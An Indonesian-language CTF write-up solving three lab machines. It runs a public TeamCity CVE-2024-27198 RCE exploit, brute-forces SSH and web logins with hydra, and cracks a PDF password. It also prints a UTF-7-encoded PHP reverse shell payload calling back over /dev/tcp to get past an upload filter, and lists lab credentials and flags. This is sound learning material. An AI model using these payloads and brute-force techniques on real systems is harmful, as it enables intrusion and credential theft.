Hacktrace-Ranges CTF 2024 Quals Writeup [Full Boot2Root]
Contents
I managed to solved 3 boot2root challenges, even if it's only user flag.
1. Rocket
Detail Tantangan
| Level | Easy |
|---|---|
| Points | 30 (User) & 70 (Root) |
| Machine IP | 10.1.2.233 |
| Machine OS | Windows 10 |
Langkah Penyelesaian
Port & Service Enumeration
- Saya menggunakan tool
rustscanuntuk mempercepat proses port scanning.
rustscan -a 10.1.2.233 -r 1-65535 --scripts default | tee -a output_scan_all_ports.txt- Beberapa port yang open dan interesting antara lain:
- 445 (SMB)
- 135 (MSRPC)
- 139 (RPC)
- 3389 (RDP)
- 8111 (HTTP)
RDP Enumeration
- Hasil scan service pada port 3389 (RDP) menggunakan
nmap.
nmap -p 3389 -sVC -v -oN output_scan_port_3389.txt 10.1.2.233- Tidak ada yang interesting untuk saat ini. Mungkin untuk Domain Name nanti berguna.

RPC Enumeration
- Terdapat celah null session atau attacker dapat login sebagai anonymous.
rpcclient -U "" -N 10.1.2.233 -p 139- Hasil enumerasi domain:
enumdomains.
rpcclient $> enumdomains
name:[LETHOS] idx:[0x0]
name:[Builtin] idx:[0x1]- Hasil enumerasi shared folder:
netshareenumall.
rpcclient $> netshareenumall
netname: print$
remark: Printer Drivers
path: C:\\var\\lib\\samba\\printers
password:
netname: IPC$
remark: IPC Service (lethos server (Samba, Ubuntu))
path: C:\\tmp
password:- Tidak berhasil mendapatkan
enumdomusers.
HTTP Port 8111 Enumeration
- Hasil scan service pada port 8111 menggunakan
nmap.
nmap -p 8111 -sVC -v -oN output_scan_port_8111.txt 10.1.2.233
- Setelah saya coba open port 8111 di web browser, terdapat info menarik yaitu tampil halaman login JetBrains TeamCity versi 2023.11.3.
- Tanpa pikir panjang, saya langsung mencari tau apakah versi tersebut ada CVE-nya atau tidak.
- Dari hasil pencarian, ditemukan bahwa JetBrains TeamCity versi 2023.11.3 terdapat kerentanan Authentication Bypass to RCE, yang mana mengizinkan attacker bisa login tanpa menggunakan akun yang sah/terdaftar di sistem (lebih lengkapnya baca artikel ini: https://www.vicarius.io/vsociety/posts/teamcity-auth-bypass-to-rce-cve-2024-27198-and-cve-2024-27199).

- Kemudian saya cari script POC yang mungkin orang lain pernah buat, dan ternyata saya menemukannya dari repo GitHub berikut: https://github.com/W01fh4cker/CVE-2024-27198-RCE.
- Saya coba jalankan script tersebut menggunakan command:
pip3 install requests urllib3 faker
python3 CVE-2024-27198-RCE.py -t <http://10.1.2.233:8111>
- Dan Alhamdulillah! saya berhasil mendapatkan powershellnya, lanjut ke pencarian kredensial untuk bisa melakukan RDP.
- Saya coba
lscurrent directory dan menemukan sebuah file:cred.txtyang berisi username dan password. - Tanpa pikir panjang saya langsung coba login RDP menggunakan tool bawaan Windows langsung.

- Terdapat sebuah file
user.txtdi Desktop, dan setelah saya buka ternyata berisikan sebuah flag user. GOTCHAA!!. - Berikut POC setelah berhasil remote desktop ke mesin target Windows 10:

User Flag
Click to show the flag
24ee7336f91a82fcab6bd8b1fd981d2a2. Poison Master
Detail Tantangan
| Level | Easy |
|---|---|
| Points | 30 (User) & 70 (Root) |
| Machine IP | 10.1.2.234 |
| Machine OS | Linux |
Langkah Penyelesaian
Port & Service Enumeration
- Hasil scan port menggunakan
rustscan.
rustscan -a 10.1.2.234 -r 1-65535 --scripts default | tee -a output_scan_all_ports.txt
RPC Enumeration
- Terdapat celah null session yang berarti bisa dimanfaatkan untuk login sebagai
anonymous.
rpcclient -U "" -N 10.1.2.234 -p 139- Hasil enumerasi list user:
enumdomuserstidak tampil informasi apa-apa.

- Hasil enumerasi list group juga tidak menampilkan informasi apa pun:
enumdomgroups.

- Hasil enumerasi list domain:
enumdomains.

- Hasil enumerasi shared folder:
netshareenumall.

- Dapat dilihat pada gambar di bawah ini, list SID yang tersedia hanya berjumlah 6 saja.

- Tetapi, ketika saya coba enumerasi secara otomatis menggunakan:
enum4linuxmuncul SID baru yaitu: S-1-22-1 yang di dalamnya terdapat 2 user baru:- ubmaj, dan
- jambu
enum4linux 10.1.2.234
SMB Enumeration
- Tidak ada folder apa pun di net share
IPC$.

- Not interesting for now.
HTTP Port 7765 Enumeration
- Setelah saya coba visit port 7765 di web browser, muncul tampilan Apache2 Default Web Page, tapi setelah saya coba cari-cari CVE-nya atau informasi terkait, hasilnya nihil. Jadi, saya pikir ini hanya rabbithole aja.

Bruteforce SSH with Known Users
- Karena stuck dan minim informasi, saya coba bruteforce service SSH menggunakan list user yang disembunyikan tadi, yaitu:
ubmajdanjambudengan passwordnya menggunakan wordlist:rockyou.txt. - Berikut command hydra untuk bruteforce-nya.
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.1.2.234 ssh -t 4- Found SSH password for user
ubmajthat is:princess.

Remote SSH to Target Server
- Langsung saja lakukan remote ke server target menggunakan kredensial SSH yang telah didapatkan:
- ubmaj : princess
- Setelah berhasil login ke remote SSH, langsung saja read user flag.

User Flag
Click to show the flag
9f752edba37a6dbe680219e472ad2b853. Moonstone
Detail Tantangan
| Level | Moderate | |
|---|---|---|
| Points | 50 (User) & 50 (Root) | |
| Machine IP | 10.1.2.232 | |
| Machine OS | Linux |
Langkah Penyelesaian
Port & Service Enumeration
- Hasil port scanning menggunakan tool:
rustscan.
rustscan -a 10.1.2.232 -r 1-65535 --scripts default | tee -a output_scan_all_ports.txt
FTP Enumeration
- Terdapat celah FTP misconfiguration, di mana attacker dapat login sebagai user
anonymous.
ftp anonymous@10.1.2.232 # login without password.- Terdapat 3 folder yang di dalamnya terdapat file-file yang interesting.

- Langsung saja saya download semua file di setiap foldernya. Total ada 6 file, 3 di antaranya file zip dan 3 sisanya adalah file dummy SQL.

- Dari semua file tersebut, hanya ada 1 file zip yang bisa dibuka, yaitu:
YourSpace_Dev.zip. - Setelah diekstrak, muncul folder yang berisi source code CodeIgniter 4 (lanjut ke bagian finding the secrets).
SMB Enumeration
- Karena port 445 terbuka dan terdapat celah dapat login sebagai anonymous, maka dari itu saya langsung coba melihat ada file apa saja di dalam shared folder
Backup.
smbclient -L //10.1.2.232/Backup --option="client min protocol=SMB2"- Setelah saya coba masuk ke shared folder
Backup, terdapat folder baru yang sebelumnya tidak ada di FTP server, yaitu:2024_07. - Di dalam folder tersebut, terdapat beberapa file tambahan yang cukup interesting.

- Tapi, hanya ada 1 file yang beneran bisa dibuka, yaitu:
Audit Report (3).pdf. - Masalahnya, file tersebut diproteksi oleh password, sehingga harus dibrute force menggunakan tool:
pdf2john.
pdf2john "Audit Report (3).pdf" > audit_report_3.hash- Setelah itu, tinggal crack saja menggunakan tool:
john.
john --show --format=PDF audit_report_3.hash- Found password for pdf file:
janganlupa.

- Setelah file pdf tersebut dibuka, di halaman 5 (terakhir) terdapat daftar password yang mungkin berguna untuk nantinya.

RPC Enumeration
- Sama seperti challenge-challenge sebelumnya, kita bisa memanfaatkan celah null session pada RPC service untuk bisa melakukan enumerasi.
- Awalnya, ketika saya coba manual enumerasi user pada RPC service menggunakan perintah
enumdomusers, hanya ada terdapat 7 user saja, tetapi ketika menggunakan tool:enum4linuxterdapat 2 user baru, yaitu:- jay_payakumbuah, dan
- ayyub.
- Jadi, total ada 9 user yang berguna untuk nantinya.

Finding The Secrets
- Diketahui bahwa aplikasi yang berjalan di port 8080 dan dibuat menggunakan CodeIgniter 4 (PHP-based web framework).
- Ketika dibuka, muncul halaman login. Langsung saja saya coba brute force login http-form menggunakan informasi user dan password yang sudah diperoleh sebelumnya menggunakan tool:
hydradengan provide list user dan password yang telah diketahui sebelumnya.
users.txt:
ayyub
donghyuk_kim
yeji_hwang
azkira_kim
bryan_jung
nurul_lee
yuna_shin
hanbin_kim
jay_payakumbuahpass.txt:
P@ssw0rd
T4da1mA!
Lzj*7BL%#fMhq- Berikut adalah full command hydra untuk bruteforce http form loginnya (bisa juga pakai NSE
http-form-brutedarinmap).
hydra -L users.txt -P pass.txt -s 8080 10.1.2.232 http-post-form "/authenticate:username=^USER^&password=^PASS^:login_failed"
# You can check the path and login parameter by intercepting the traffic via burp suite.- Terdapat beberapa file yang menarik perhatian saya, yaitu file
yourspace/.envdanyourspace/public/info.asp.
.env:
#--------------------------------------------------------------------
# Example Environment Configuration file
#
# This file can be used as a starting point for your own
# custom .env files, and contains most of the possible settings
# available in a default install.
#
# By default, all of the settings are commented out. If you want
# to override the setting, you must un-comment it by removing the '#'
# at the beginning of the line.
#--------------------------------------------------------------------
#--------------------------------------------------------------------
# ENVIRONMENT
#--------------------------------------------------------------------
CI_ENVIRONMENT = development
#--------------------------------------------------------------------
# APP
#--------------------------------------------------------------------
# app.baseURL = ''
# If you have trouble with `.`, you could also use `_`.
# app_baseURL = ''
# app.forceGlobalSecureRequests = false
# app.CSPEnabled = false
#--------------------------------------------------------------------
# DATABASE
#--------------------------------------------------------------------
database.default.hostname = localhost
database.default.database = yourspace
database.default.username = rafi
database.default.password = password
database.default.DBDriver = MySQLi
# database.default.DBPrefix =
database.default.port = 3306
# If you use MySQLi as tests, first update the values of Config\Database::$tests.
# database.tests.hostname = localhost
# database.tests.database = ci4_test
# database.tests.username = root
# database.tests.password = root
# database.tests.DBDriver = MySQLi
# database.tests.DBPrefix =
# database.tests.charset = utf8mb4
# database.tests.DBCollat = utf8mb4_general_ci
# database.tests.port = 3306
#--------------------------------------------------------------------
# ENCRYPTION
#--------------------------------------------------------------------
# encryption.key =
#--------------------------------------------------------------------
# SESSION
#--------------------------------------------------------------------
# session.driver = 'CodeIgniter\Session\Handlers\FileHandler'
# session.savePath = null
#--------------------------------------------------------------------
# LOGGER
#--------------------------------------------------------------------
# logger.threshold = 4info.asp:
<?php phpinfo(); ?>
- Pada file
.envterdapat kredensial database, tapi karena port 3306 tidak terbuka, maka dari itu, file tersebut tidak berguna untuk sekarang (mungkin ketika berhasil mendapatkan shell). - Pada file
info.aspberisikan fungsiphpinfo()untuk menampilkan informasi terkait versi PHP yang digunakan.
Gaining Access w/ PHP Reverse Shell
- Setelah berhasil login menggunakan username:
jay_payakumbuahdengan password:Lzj*7BL%#fMhq, kemudian saya coba lihat isi di dalam webnya, ternyata ada satu fitur untuk upload sebuah dokumen yang bisa dimanfaatkan sebagai celah arbitrary file upload. - Saya coba analisis lagi source code PHP yang tertera di folder
yourspacesebelumnya. - Setelah penantian cukup panjang, saya menyadari bahwa fitur tersebut pasti ada di sebuah Controllers, detailnya ada di file
MedicalController.php(lebih lengkapnya baca terkait arsitektur folder MVC pada framework CodeIgniter). - Terdapat limitasi pada fungsi upload file, yaitu:
- Jika file yang di upload berekstensi .php, .pht, atau .phtml, maka terdeteksi sebagai malicious file.
- Jika ada tag pembuka php (
<?) di dalam konten yang di upload, maka terdeteksi juga sebagai malicious file.

- Untuk membypass hal tersebut, saya coba baca lagi informasi
http://10.1.2.232/info.aspuntuk melihat apakah ada celah yang bisa dimanfaatkan untuk bypass limitasi tadi. - Ternyata, di bagian
zend.script_encodingbisa juga menggunakanUTF-7, yang mana memungkinkan untuk untuk bisa mendapatkan reverse shell asal payloadnya dalam formatUTF-7. Ini payload lengkapnya:
+ADw-?php exec("bash -i +AD4-& /dev/tcp/10.18.200.127/4444 0+AD4-&1") ?+AD4-- Untuk tanda
<di-encode keUTF-7menjadi:+ADw-. Dan tanda>menjadi:+AD4-(lebih lengkapnya baca artikel berikut: https://stackoverflow.com/questions/77609263/convert-utf-8-to-utf-7-in-python). - Tetapi, setelah coba di upload masih gagal, karena kenapa ? karena by default ekstensinya adalah
.asp(agak menjengkelkan sih ini wkwk). Hal itu dibuktikan dengan fungsiphpinfo()yang tetap berjalan meskipun ekstensi filenya.asp. - Oke fix upload dan jangan lupa untuk listen ke port
4444menggunakannc.
nc -lnvp 4444- Kalau berhasil, maka kita berhasil mendapatkan reverse shell.
Remote SSH to Target Server
- Setelah berhasil masuk dengan reverse shell, current user pastinya adalah
www-data. - Saya coba cari flag usernya, ternyata flag ada di direktori
/home/ayyub/user.txt. - File tersebut memiliki permission
r-x,r--,---(540) yang berarti other tidak bisa membaca file tersebut. - Saya coba lakukan enumerasi secara manual dan terpikir untuk melihat file
.envyang ada di remote server.

- Dari informasi kredensial database yang ada di file
.env, saya mencoba untuk remote SSH menggunakan password yang tertera di file tersebut dan Alhamdulillah! saya berhasil login sebagai userayyub.- Username: ayyub
- Password: B6CHkw$5BTaN%
- Intinya, belum tentu kredensial database tersebut khusus untuk login ke db, bisa saja ke SSH atau service-service lain :))
- Berikut POC setelah saya berhasil remote SSH ke user
ayyubdan mendapatkan flag usernya:

User Flag
Click to show the flag
ab40b8d326bcddb72f674759d6c09ccc